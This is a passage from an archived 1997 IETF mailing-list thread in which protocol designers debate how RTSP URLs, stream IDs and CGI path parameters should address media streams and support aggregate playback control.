>make this work... Unfortunately according to the URI group this is
>illegal. The specific illegality of this technique is highlighted when
>we consider the CGI case. If the DESCRIBE url had been...
>
>  rtsp://server/cgi-bin/movie.cgi/someparams/audio
>
>Then the rules of URI parsing (according to the URI group) say that
>"/someparams/audio" gets passed to the cgi-bin script.

Crikey, it isn't the URI rules: that is the definition of the CGI interface.
Similar rules exist for the other server-side APIs, because in general
it is a good thing to be able to donate parts of the server namespace
to modular handlers.

>My concern is that the media server doesn't know whether that last
>"/xxx" is a param for the cgi or the stream identifier.

Then it isn't a media server, period.  You cannot say that a new protocol
element is required just because the server might have lost control
over its own namespace -- that is absurd.

....Roy

From majordom@ISI.EDU  Thu Jul 24 17:13:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19344>; Fri, 25 Jul 1997 00:10:59 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19338>; Fri, 25 Jul 1997 00:10:57 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id AAA26383
	for <confctrl@isi.edu>; Fri, 25 Jul 1997 00:10:55 -0700 (PDT)
Received: from revelstoke.precept.com (port7.precept.com [204.162.119.57])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id AAA18225;
	Fri, 25 Jul 1997 00:10:16 -0700 (PDT)
Date: Fri, 25 Jul 1997 00:13:21 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@isi.edu, bill@syd.dit.csiro.au,
        "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Subject: Re: RTSP URL issues
In-Reply-To: <33D73D14.D2B91C6A@prognet.com>
Message-Id: <Pine.PCW.3.95.970725001142.10278B-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Let me apologize in case my previous message seemed a bit flippant --
it was composed too late at night.

> 1-1-n is by definition NOT used for separate files. The first "1" in
> 1-1-n means container file, check Rob's very first post on the subject.

I agree that this is how the term was originally defined, but I have
interpreted several of the ensuing messages to redefine the first
digit to be "presentation", for example Anup's nice summary of 11
July.  So, let me just delete that term and ask my question again:

    If we use the stream ID approach, how are we going to construct
    the presentation aggregation when the media streams are in
    separate files?

Several people have identified a need for aggregate control, and I
accept this as a valid requirement.  The RTSP spec hints at it but
doesn't complete the job.  Anup's summary identifies the need for
aggregate control as one of three separate issues that are being
discussed together here.

> When multiple files are used you are talking about "n" in the first
> item. It seems to me that the spec is clear (and to date the
> conversations have been clear) that the only way to handle "n" files is
> with "n" rtsp sessions. So this is the n-n-n case that was dismissed
> from the discussion early on as "already doable".

Yes, n-n-n is already doable, but so far as I can tell, there is no
mechanism for aggregate control in that situation.  Do you agree?

I believe the proposal to use stream IDs implies that aggregate
control is only possible if all the media are contained in a single
container file.  I don't think that is acceptable.  Over the life of
the RTSP protocol there may be many ways that media data is stored,
for example as assets some database system.  That is a local matter
for the server.

> Why do we keep talking about containers as the special case? Containers
> are the general case... All media files contain N streams. For some
> media files, like audio, N=1. I think any solution that treats
> containers as the special case is destined to be more complicated than
> it needs to be.

I've been saying exactly that container files should _not_ be a
special case, that the client shouldn't have to know or care.  The
media elements should be addressed by the URL whether they are in a
container file or not.

> The _more_ general solution is to recognize that all files are
> containers, and that targeting (i.e. which RTP packets go to which port)
> information has to be an URL for the "file" combined with a "token" of
> some kind to identify the stream within the file.

OK, you're suggesting that we always use a URL plus a stream ID.  That
would seem to restore consistency, except that when the data is in
multiple files you need to use different URLs for each, implying
separate RTSP sessions and no means to refer to the aggregate of the
streams.

> Let's assume that there is no file at this location, or that the server
> attempted to open the file and discovered that there is no file.
> 
> As I understand the suggestion, it would mean that the server should now
> "cut off" the "/audio" part of the URL and attempt to find a resource at
> "/movie". Let's say that indeed there is such a resource, and the server
> now knows it should use the "/audio" part that it cut off to act as a
> stream selector from within the container.

I would expect instead that the server would process the elements of
the resource pathname in order.  If "movie" is a directory, then it
looks for "audio" in that directory.  If "movie" is a file, then it
checks to see if that file is a container file of the appropriate type
such that "audio" makes sense as a selector for part of the file.

> The specific illegality of this technique is highlighted when
> we consider the CGI case. If the DESCRIBE url had been...
> 
>   rtsp://server/cgi-bin/movie.cgi/someparams/audio
> 
> Then the rules of URI parsing (according to the URI group) say that
> "/someparams/audio" gets passed to the cgi-bin script.
> 
> My concern is that the media server doesn't know whether that last
> "/xxx" is a param for the cgi or the stream identifier.

I would expect the CGI script to consume the part that composes it's
parameters and return the rest.  Yes, one could specify a syntax for
the parameters such that it was ambiguous whether "audio" was a
parameter or a track selector, but that would be an erroneous design.

> Another aspect of this problem is available when you examine the media
> server's support for mount points. Let's say I have the following
> setup...
> 
>   local /usr/admin/media/content mounted at /
>   local /usr/brad/media   mounted at /coolstuff

I don't know what you mean by mount points here.  In the UNIX
filesystem, if you mount something on / then the /coolstuff that was
there before is no longer visible.  Assuming the system you're
describing somehow allows the example you've given, then it allowed
you to construct an ambiguous filesystem, so you're in trouble when
trying to make a local reference to the filesystem without even
considering any URLs.

I would think the example you described is illegal.

> If the protocol REQUIRED the stream id part of the URL than this is less
> of an issue, because the server always knows that the last "/xxx" is the
> stream id. But I would imagine that this would not be a popular
> decision.
> 
> Steve, do you have a specific suggestion that addresses these concerns?

As the server works its way down the URL, when it gets to a file and
there is more left, it references an element within the file.

							-- Steve


From majordom@ISI.EDU  Thu Jul 24 19:43:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21934>; Fri, 25 Jul 1997 02:38:23 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21928>; Fri, 25 Jul 1997 02:38:22 -0700
Received: from zappo.prognet.com (zappo.prognet.com [204.71.154.163])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id CAA28720
	for <confctrl@isi.edu>; Fri, 25 Jul 1997 02:38:21 -0700 (PDT)
Received: from [205.219.198.222] by zappo.prognet.com
  (SMTPD32-4.0) id A2C44FC20286; Fri, 25 Jul 1997 02:32:52 -0700
Message-Id: <33D8753F.196EC7FD@prognet.com>
Date: Fri, 25 Jul 1997 02:43:27 -0700
From: Brad Hefta-Gaub <brad@prognet.com>
Organization: Progressive Networks
X-Mailer: Mozilla 4.01 [en] (Win95; I)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@isi.edu,
        "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>, brad@prognet.com
Subject: PROGRESS: RTSP URL issues
X-Priority: 3 (Normal)
References: <Pine.PCW.3.95.970725001142.10278B-100000@revelstoke.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hurray! I am very excited by these last couple pieces of e-mail, I think
I see some real progress being made... But I have a couple
questions/comments.

Note: I need to clarify some vocabulary here, so this mail is kinda
long. My apologies in advance.

Stephen Casner wrote:

> > 1-1-n is by definition NOT used for separate files. The first "1"
> > in 1-1-n means container file, check Rob's very first post on the
> > subject.
>
> I agree that this is how the term was originally defined, but I
> have interpreted several of the ensuing messages to redefine the
> first digit to be "presentation", for example Anup's nice summary
> of 11 July.

Fair enough, I too am sometimes confused by the 1-1-1, 1-1-n... stuff as
well, but I think we need to keep our terms straight.  Let's either
agree to stick with the terms at hand or agree to new terms. I think we
should stick with the current terms and recognize the following:

We've always been talking about a single presentation... so each of the
following options are possible...

  *  1-1-1 is one presentation [assumed] of...
    one file [the first 1] (a container file) controlled by...
    a single RTSP control session [the second 1] streamed to...
    a single RTP addr/port combination [the last 1]

    It is my understanding that the group has clearly indicated
    that although this is "legal" so long as the RTP payload type
    is 101 or some "dynamic" value, it is not encouraged for QOS
    reasons. Let me state for the record that I was a big supporter
    of this technique, and through the eloquent arguments of Steve
    and Henning, I have been persuaded that this is a less than
    optimal solution. I now understand that n RTP ports is important.

  * 1-1-n is one presentation [assumed] of...
    one file [the first 1] (a container file) controlled by...
    a single RTSP control session [the second 1] streamed to...
    multiple RTP addr/port combinations [the n at the end]

    This is the topic of the "hottest" debated. In general,
    everyone seems to agree that this is needed, important,
    doable, etc. There are multiple solutions currently being
    kicked around. StreamIDs and URLs are the two basic approaches.

  * 1-n-n is one presentation [assumed] of...
    one file [the first 1] (a container file) controlled by...
    multiple RTSP control session [the middle n] streamed to...
    multiple RTP addr/port combinations [the n at the end]

    This was mentioned in Rob's first e-mail message, it seems
    to be a less than popular solution although it has received
    little discussion by the group. I would say that it is probably
    unpopular because it has all the disadvantages of n-n-n (multiple
    commands are required to seek the presentation) and would require
    a standard URL implementation, which seems a sticking point.

  * n-n-n is one presentation [assumed] of...
    multiple independent files [the first n] controlled by...
    multiple RTSP control sessions [the second n] streamed to...
    multiple RTP addr/port combinations [the n at the end]

    This is currently supported by the protocol. And in fact the
    protocol has good support for allowing this to be relatively
    efficient from a "resource" perspective, because you only
    need a single TCP connection, assuming the files are all on the
    same media server. Notice, that PN's current implementation of
    RTSP (available in the RealMedia SDK) supports this concept.
    We support multiple metafile formats (RTSL, RAM, etc.) and allow
    multiple files to be tied together as a single presentation.
    The client handles the "synchronization" of the streams
    and all is well in the world. The problem with this is that
    the client has to issue "N" pause commands, "N" seek commands,
    etc.

Now for a new term: This is what I think Anup and Steve want (and I'm a
fan of this as well.)

  * n-1-n is one presentation [assumed] of...
    multiple independent files [the first n] controlled by...
    a single RTSP control session [the middle 1] streamed to...
    multiple RTP addr/port combinations [the n at the end]

    This is not currently supported by the protocol. This would be
    basically allow a single presentation of multiple files to be
    controlled with one set of pause, seek, etc. commands. I can
    tell you that we at PN would love this feature as it would fit
    quite nicely into our current implementation. _However_ it was
    my understanding that we (the whole RTSP/confctrl gang) as a
    group decided to avoid this until a later version of the
    protocol.

I recommend we stick with these terms as I think most of us are now
familiar with them.

> If we use the stream ID approach, how are we going to
> construct the presentation aggregation when the media
> streams are in separate files?

I don't see this as a problem related to streamIDs vs. URLs. As a side
note, in the proposal I've been advocating, the only reason you need to
mention the stream ID is to target the stream of the container to a
particular RTP addr/port. This is why I am so keen on it being in the
822 headers, since that's where we were planning on putting transport
information anyway. This really has nothing to do with "aggregating
control".

> Several people have identified a need for aggregate control...
> Yes, n-n-n is already doable, but so far as I can tell,
> there is no mechanism for aggregate control in that
> situation.  Do you agree?

Yes.

> I believe the proposal to use stream IDs implies that aggregate
> control is only possible if all the media are contained in a single
> container file.

I disagree with your interpretation of the StreamID proposal. All that
StreamIDs are related to is the targeting of stream data to a particular
RTP addr/port. Aggregation of the playback of multiple "resources" in a
single RTSP control session is a completely different issue.

> I've been saying exactly that container files should _not_ be a
> special case, that the client shouldn't have to know or care.  The
> media elements should be addressed by the URL whether they are in a
> container file or not.

I'd like to drill down on this point a little more, mainly because I
keep hearing this "the client shouldn't care" argument. But I am having
a hard time understanding it... We all recognize that the client at
least must know that if it just asked for a container file, then it
needs to be listening to "n" RTP ports... so it seems to me that the
client _does care_. The only way I can imagine the client not needing to
know if the resource was a container or not is if the client can only
handle single "streams" in a single RTSP session.

I guess this would mean that the client would always have to drill down
to the single stream. I think I understand Roy to be suggesting this
when he says... "if you attempt to access rtsp://foo.com/movie.rm and
movie.rm is a container, then the server should ... disallow access..."

Of course if this is the route we went the we are therefor forcing "n"
RTSP control sessions for every container file. Which is exactly the
opposite of aggregate control. Based on your "aggregation" questions I
would assume you aren't a fan of this solution.

> > The _more_ general solution is to recognize that all
> > files are  containers, and that targeting (i.e. which RTP
> > packets go to which port) information has to be an URL for
> > the "file" combined with a "token" of  some kind to identify
> > the stream within the file.
>
> OK, you're suggesting that we always use a URL plus a stream
> ID.  That would seem to restore consistency...

Yes I am suggesting that we always use URLs and Stream IDs... Namely use
URLS to talk about the resource ("DESCRIBE ulr" and "SETUP url"). And we
use StreamIDs when we want to tell the server how to target the streams
of any resource to a particular RTP addr/port. This would be in the 822
header section of the SETUP command.

> ...except that when the data is in  multiple files you need to
> use different URLs for each, implying separate RTSP sessions
> and no means to refer to the aggregate of the streams.

Well, as I've said this is a different issue than stream/port
targeting... I don't see how opting to use URLs instead of streamIDs
somehow automagically gives you support for aggregation. Let's talk
about aggregation, but don't write-off streamIDs as a solution for
targeting stream/ports.

> > Let's assume that there is no file at this location...
> > As I understand the suggestion, it would mean that the
> > server should now  "cut off" the "/audio" part of the URL
> > and attempt to find a resource at "/movie"....
>
> I would expect instead that the server would process
> the elements of the resource pathname in order.  If "movie"
> is a directory, then it looks for "audio" in that directory.
> If "movie" is a file, then it checks to see if that file is a
> container file of the appropriate type such that "audio" makes
> sense as a selector for part of the file.

This is a great suggestion Steve. And I agree that this works very well
for finding streams in a container file. But, as I've pointed out above,
I think this route of identifying streams as the units of control is
only leading us further away from aggregation support.

At this point I can hear the arguments now... going something like:
"let's solve aggregation, then there is no problem forcing the setup to
be on a per stream basis"... Hmmm... maybe that makes sense... but we'd
need to solve the URL problem first...

Read on... as I still see a problem with URLs and CGI on a media server.

Roy T. Fielding wrote:

> >Then the rules of URI parsing (according to the URI group)
> >say that "/someparams/audio" gets passed to the cgi-bin
> >script.
>
> Crikey, it isn't the URI rules: that is the definition of
> the CGI interface. Similar rules exist for the other server-side
> APIs, because in general it is a good thing to be able to donate
> parts of the server namespace to modular handlers.

Ouch, so I mis-spoke, I didn't mean to place blame on the URI group... I
really meant to say, hey "it's already a rule for cgi..." that once you
hit the cgi script, everything else is considered a param to the cgi.

I am 100% behind the idea of... "be[ing] able to donate parts of the
server namespace to modular handlers".... (see below)

Stephen Casner wrote:

> I would expect the CGI script to consume the part
> that composes it's parameters and return the rest.

"return the rest"... ok, I'm no cgi expert... but I don't think that it
is possible for a cgi script to "return the rest" of an url to the web
server for "further" processing. I am looking in the IIS/ISAPI
documentation right now and I can't find anything that allows this.
Certainly a cgi or an NSAPI or ISAPI plugin can ask the server for
"additional" resources, but I don't think it can say, here's the actual
resource and "by the way I didn't process the /foo/bar part of the url
so please do your mumbo jumbo on it"...

Please correct me if I'm wrong on this... please show me how a cgi
script does this. I would love to make this work.

Here's the deal, a media server can use module handles to support
fulfilling media requests. In fact PN's current RTSP implementation
supports "file system plugins" as well as "live source plugins". Both of
these technologies use "donate[d] parts of the server namespace"... and
in fact they use rules very similar to how cgi-bin on a web server
works... namely after the server has drilled down enough to know it's
talking to a modular handler, the rest of the url is handed off for the
modular handler to "handle" as it were... Now, considering that that
modular handler could in fact be a "web" oriented cgi-bin script, which
to my knowledge has no way of "handing back" the rest of the url... how
should I make this work.

If the answer is, "here's how cgis hand back the rest of the url to the
web server..." then GREAT, you have probably sold me.

> As the server works its way down the URL, when it gets to
> a file and there is more left, it references an element
> within the file.

This is a great suggestion which I believe I have shown doesn't work
when a cgi-bin is inserted in the URL. If we can make this work with
cgi-bins than I will probably be convinced.

-Brad
-----------------------------------------
Brad Hefta-Gaub
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax: (206)674-2699
email: brad@prognet.com
web: http://www.real.com
-----------------------------------------




From majordom@ISI.EDU  Fri Jul 25 18:57:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06022>; Sat, 26 Jul 1997 01:55:22 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06016>; Sat, 26 Jul 1997 01:55:20 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id BAA08319
	for <confctrl@isi.edu>; Sat, 26 Jul 1997 01:55:19 -0700 (PDT)
Received: from revelstoke.precept.com (port4.precept.com [204.162.119.54])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id BAA20896;
	Sat, 26 Jul 1997 01:54:44 -0700 (PDT)
Date: Sat, 26 Jul 1997 01:57:51 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@isi.edu,
        "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Subject: Re: PROGRESS: RTSP URL issues
In-Reply-To: <33D8753F.196EC7FD@prognet.com>
Message-Id: <Pine.PCW.3.95.970726015632.8846A-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Brad,

> We've always been talking about a single presentation...

Well, sort of.  The spec defines presentation as

   Presentation: A set of one or more streams which the server allows
        the client to manipulate together. ...

The current spec, plus the changes proposed to add stream IDs,
achieves the aggregate control implied by this definition for some of
the modes you've listed but not for others (n-n-n).  So those would be
multiple presentations unless the protocol is augmented.

>   *  1-1-1 is one presentation [assumed] of...
>     one file [the first 1] (a container file) controlled by...
>     a single RTSP control session [the second 1] streamed to...
>     a single RTP addr/port combination [the last 1]
> 
>     It is my understanding that the group has clearly indicated
>     that although this is "legal" so long as the RTP payload type
>     is 101 or some "dynamic" value, it is not encouraged for QOS
>     reasons.

Well, we argued against using one RTP session with multiple SSRC IDs
to multiplex separate media streams into that one RTP session.
However, sending a presentation that is one MPEG1 Systems Stream
containing both audio and video in one RTP stream using one SSRC ID is
a valid example of 1-1-1.  Personally, I prefer sending separate MPEG
elementary streams in separate RTP sessions, but others have argued
strongly for the need to send pre-multiplexed encodings such as MPEG1
Systems Streams.

>   * 1-1-n is one presentation [assumed] of...
>     one file [the first 1] (a container file) controlled by...
>     a single RTSP control session [the second 1] streamed to...
>     multiple RTP addr/port combinations [the n at the end]
> 
>     This is the topic of the "hottest" debated. In general,
>     everyone seems to agree that this is needed, important,
>     doable, etc. There are multiple solutions currently being
>     kicked around. StreamIDs and URLs are the two basic approaches.

Not quite.  The stream ID proposal definitely falls in this category
because it uses one URL and one RTSP session total.  The URL method
could be 1-1-n if we allow 1 URL != 1 session, as Anup proposed in the
July 11 message.  If there are reasons why that should not be allowed,
then the use of multiple URLs implies multiple sessions.  To provide
the aggregate control would require some other mechanism for grouping
the sessions.  In an earlier message, I suggested that there might be
an aggregate session ID that gets created for the aggregate URL and
which implies aggregate control over the individual sessions/URLs.
That would be 1-n-n and in that scenario there would be no 1-1-n.  One
difficulty in this discussion is that details of how to do the
aggregate control have not been worked out all the way, so we haven't
decided whether 1 URL != 1 session is OK or not.

>   * 1-n-n is one presentation [assumed] of...
>     one file [the first 1] (a container file) controlled by...
>     multiple RTSP control session [the middle n] streamed to...
>     multiple RTP addr/port combinations [the n at the end]
> 
>     This was mentioned in Rob's first e-mail message, it seems
>     to be a less than popular solution although it has received
>     little discussion by the group. I would say that it is probably
>     unpopular because it has all the disadvantages of n-n-n (multiple
>     commands are required to seek the presentation) and would require
>     a standard URL implementation, which seems a sticking point.

Only a single command would be needed with an aggregate control
mechanism, as mentioned above.

>   * n-n-n is one presentation [assumed] of...
>     multiple independent files [the first n] controlled by...
>     multiple RTSP control sessions [the second n] streamed to...
>     multiple RTP addr/port combinations [the n at the end]
> 
>     ...multiple files to be tied together as a single presentation.

Actually, they are not a single presentation as defined above.

>     The client handles the "synchronization" of the streams
>     and all is well in the world. The problem with this is that
>     the client has to issue "N" pause commands, "N" seek commands,
>     etc.

This is the core problem.  I don't want the client to have to handle
the synchronization and send N commands if the streams come from
separate file, and need to behave differently if the streams come from
a common container file.  I want the client behavior (and the
protocol) to be the same in both cases.

> Now for a new term: This is what I think Anup and Steve want (and I'm a
> fan of this as well.)
> 
>   * n-1-n is one presentation [assumed] of...
>     multiple independent files [the first n] controlled by...
>     a single RTSP control session [the middle 1] streamed to...
>     multiple RTP addr/port combinations [the n at the end]
> 
>     ... _However_ it was
>     my understanding that we (the whole RTSP/confctrl gang) as a
>     group decided to avoid this until a later version of the
>     protocol.

Yes, I think that is true.  But since you folks have re-introduced the
idea of wanting aggregate control (if all the data happens to be in a
container file), then others of us have responded saying that the
aggregate control mechanism should be independent of how the data is
stored and have taken another look at the problem.

> > If we use the stream ID approach, how are we going to
> > construct the presentation aggregation when the media
> > streams are in separate files?
> 
> I don't see this as a problem related to streamIDs vs. URLs. As a side
> note, in the proposal I've been advocating, the only reason you need to
> mention the stream ID is to target the stream of the container to a
> particular RTP addr/port.

That need arises because the previously held assumption of 1 RTSP
session for each RTP session is broken by the 1-1-n proposal.  The
motivations were, as I understand them, so that the server could know
that all the streams were being read from one file and so that all the
streams could be controlled by one PLAY command, i.e., aggregate
control.

> > I believe the proposal to use stream IDs implies that aggregate
> > control is only possible if all the media are contained in a single
> > container file.
> 
> I disagree with your interpretation of the StreamID proposal. All that
> StreamIDs are related to is the targeting of stream data to a particular
> RTP addr/port. Aggregation of the playback of multiple "resources" in a
> single RTSP control session is a completely different issue.

No.  Separate resources would imply separate URLs, and in the current
spec separate URLs implies separate RTSP control sessions.  If we
don't find a way to change that and we implement the StreamID proposal
instead, then separate resources would imply no aggregate control, but
a container file would allow aggregate control.  This is what I stated
above.

Now, since aggregate control is desirable, we want to find a way to
allow 1 URL != 1 RTSP session, or to find a way to group RTSP
sessions.  Given that we achieve this (and there have been some
methods proposed), then we want to use the same mechanism and a
uniform representation whether the media resources are in one
container file or not.  That's the issue.

> > I've been saying exactly that container files should _not_ be a
> > special case, that the client shouldn't have to know or care.  The
> > media elements should be addressed by the URL whether they are in a
> > container file or not.
> 
> I'd like to drill down on this point a little more, mainly because I
> keep hearing this "the client shouldn't care" argument. But I am having
> a hard time understanding it... We all recognize that the client at
> least must know that if it just asked for a container file, then it
> needs to be listening to "n" RTP ports... so it seems to me that the
> client _does care_.

NO!!  Maybe this is the key misunderstanding.  The client does not ask
for a container file, it asks for multiple media streams if the
session description says there are multiple media streams in the
session and the client wants to receive them all.  It does not (or
should not) matter whether the multiple media streams are stored in
one container file or separate files.

The other case that the client may need to know about is as in the
example of the MPEG1 Systems Stream.  There the client needs to be
able to receive the single, multiplexed RTP data stream and present
the multiple media contained therein.  That might mean demultiplexing
the individual media streams or maybe handing the combined stream to a
hardware decoder/renderer.

Some clients may be able to handle both multiplexed and separate
streams; other clients may handle only one or the other.

> I guess this would mean that the client would always have to drill down
> to the single stream. I think I understand Roy to be suggesting this
> when he says... "if you attempt to access rtsp://foo.com/movie.rm and
> movie.rm is a container, then the server should ... disallow access..."

Yes, as Anup said, the URL for the whole container would not be
SETUPable.

> Of course if this is the route we went the we are therefor forcing "n"
> RTSP control sessions for every container file.

Not if we allow 1 URL != 1 RTSP session as Anup proposed.  If we don't
allow this change, then yes.

> Which is exactly the
> opposite of aggregate control. Based on your "aggregation" questions I
> would assume you aren't a fan of this solution.

No.  I have suggested that it might be possible to group a set of
individual RTSP sessions for each medium under one aggregate session
with its own session ID that is used for aggregate control.  That
grouping might be established in a variety of ways.  I don't have a
preference, at least not yet, between this grouping idea or Anup's
proposal.

> Let's talk
> about aggregation, but don't write-off streamIDs as a solution for
> targeting stream/ports.

I agree that we should talk about aggregation.  Several of us have
made suggestions as to how it would be done.  Those all result in a
method of targeting streams to ports using just URLs.  Given that
achievement, then I want to write off streamIDs because I don't want
to have two different methods for doing the same thing.  That's the
crux of this argument.

> At this point I can hear the arguments now... going something like:
> "let's solve aggregation, then there is no problem forcing the setup to
> be on a per stream basis"... Hmmm... maybe that makes sense...

"By jove, I think [he]'s got it!"

> > I would expect the CGI script to consume the part
> > that composes it's parameters and return the rest.
> 
> "return the rest"... ok, I'm no cgi expert... but I don't think that it
> is possible for a cgi script to "return the rest" of an url to the web
> server for "further" processing.

Sorry, I said the wrong thing.  What I should have said was: I would
expect the CGI script to consume the part that composes it's
parameters and pass the rest on to the next module (which it invokes).
I think the web server is finished when it calls the CGI script.  The
CGI script would have to invoke the media server (or the next module
in the media server if it's really a media server and not a web server
that's starting at the top of the URL).


Now, if you think about aggregate control for a minute, you'll realize
a concern.  In a private email, Henning proposed a method for
aggregate control but then said:

> I'm a little concerned about the value of aggregate control since it is
> not completely general: the client has to distinguish the (presumably
> common) case of sessions being served from a single server from those
> where different streams are coming from different servers.

Well, the client doesn't have to draw any complicated inference, if
that is what you mean.  I have proposed that when aggregate control of
the streams is possible, then the session description will contain an
aggregate URI in addition to the URI's for the individual streams
(just as the RTSP spec's definition of "presentation" says there will
be).  If aggregate control is not possible, then the presentation
description will not contain the aggregate URL so the client will know
this explicitly.

Some clients may have the flexibility to support presentations that
don't allow aggregate control, others may not.  In the latter case,
the client will know right away if the presentation requires support
for separate control and can give an error message.

Please note that the protocol allows for aggregate control even if the
streams do come from separate servers if the confederation of servers
can somehow manage to coordinate control of themselves by some means,
magic or otherwise.  In that case, the session description would
include an aggregate URI, and the server receiving control functions
as a result of that URI would be responsible for passing on the
control functions to the other servers in the confederation by
whatever behind-the-scenes means may have been established.

If there are separate servers that are not capable of coordinating
amongst themselves, then either the client would have to be flexible
enough to use separate controls or it would not be able to play that
presentation.  But the key is that the protocol doesn't have to
change.
							-- Steve


From majordom@ISI.EDU  Sat Jul 26 15:30:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28232>; Sat, 26 Jul 1997 22:49:57 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28223>; Sat, 26 Jul 1997 22:49:55 -0700
Received: from paris.ics.uci.edu (mmdf@paris.ics.uci.edu [128.195.1.50])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id WAA22494
	for <confctrl@isi.edu>; Sat, 26 Jul 1997 22:49:54 -0700 (PDT)
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa27249;
          26 Jul 97 22:46 PDT
To: Stephen Casner <casner@precept.com>
Cc: Brad Hefta-Gaub <brad@prognet.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@isi.edu
Subject: Re: PROGRESS: RTSP URL issues 
In-Reply-To: Your message of "Sat, 26 Jul 1997 01:57:51 PDT."
             <Pine.PCW.3.95.970726015632.8846A-100000@revelstoke.precept.com> 
Date: Sat, 26 Jul 1997 22:30:57 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707262246.aa27249@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Basically, I agree with what Steve said, though my perspective is
from the HTTP protocol and URL parsing point of view.

>> > I would expect the CGI script to consume the part
>> > that composes it's parameters and return the rest.
>> 
>> "return the rest"... ok, I'm no cgi expert... but I don't think that it
>> is possible for a cgi script to "return the rest" of an url to the web
>> server for "further" processing.
>
>Sorry, I said the wrong thing.  What I should have said was: I would
>expect the CGI script to consume the part that composes it's
>parameters and pass the rest on to the next module (which it invokes).
>I think the web server is finished when it calls the CGI script.  The
>CGI script would have to invoke the media server (or the next module
>in the media server if it's really a media server and not a web server
>that's starting at the top of the URL).

Yes, that's what I meant by donating part of the namespace.  A given
URL can only have one handler per method, and that handler must know
what those parameters mean (if it doesn't, then the handler isn't
capable of handling the request, in which case it isn't a valid "handler").
Of course, if it doesn't have any use for those parameters, then there
won't be any parameters, which is why RTSP can use a relative URL with
extra-path-based parameters on an existing server's CGI or API.

....Roy

From majordom@ISI.EDU  Sun Jul 27 10:14:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19832>; Sun, 27 Jul 1997 17:10:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19826>; Sun, 27 Jul 1997 17:09:59 -0700
Received: from zappo.prognet.com (zappo.prognet.com [204.71.154.163])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id RAA04305
	for <confctrl@isi.edu>; Sun, 27 Jul 1997 17:09:58 -0700 (PDT)
Received: from [205.219.198.222] by zappo.prognet.com
  (SMTPD32-4.0) id A20BDAED027C; Sun, 27 Jul 1997 17:04:27 -0700
Message-Id: <33DBE47C.E3FD74F@prognet.com>
Date: Sun, 27 Jul 1997 17:14:52 -0700
From: Brad Hefta-Gaub <brad@prognet.com>
Organization: Progressive Networks
X-Mailer: Mozilla 4.01 [en] (Win95; I)
Mime-Version: 1.0
To: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Cc: Stephen Casner <casner@precept.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@isi.edu, brad@prognet.com
Subject: Re: PROGRESS: RTSP URL issues
X-Priority: 3 (Normal)
References: <9707262246.aa27249@paris.ics.uci.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Roy T. Fielding wrote:

> Basically, I agree with what Steve said, though my perspective is
> from the HTTP protocol and URL parsing point of view.
> ...
> >> "return the rest"... ok, I'm no cgi expert... but I don't think
> that it
> >> is possible for a cgi script to "return the rest" of an url to the
> web
> >> server for "further" processing.
> >
> >Sorry, I said the wrong thing.  What I should have said was: I would
> >expect the CGI script to consume the part that composes it's
> >parameters and pass the rest on to the next module (which it
> invokes).
> >I think the web server is finished when it calls the CGI script.  The
>
> >CGI script would have to invoke the media server (or the next module
> >in the media server if it's really a media server and not a web
> server
> >that's starting at the top of the URL).
>
> Yes, that's what I meant by donating part of the namespace.  A given
> URL can only have one handler per method, and that handler must know
> what those parameters mean (if it doesn't, then the handler isn't
> capable of handling the request, in which case it isn't a valid
> "handler").

I don't think you guys are listening to me. If I have current day
CGI-bin script working INSIDE MY MEDIA SERVER how can I have it "invoke
a media server" or in some way "pass the rest on to the next module". I
am not talking about something that is "cgi like", I am talking about
precisely cgi.

Roy, what do you mean by, "A given URL can only have one handler per
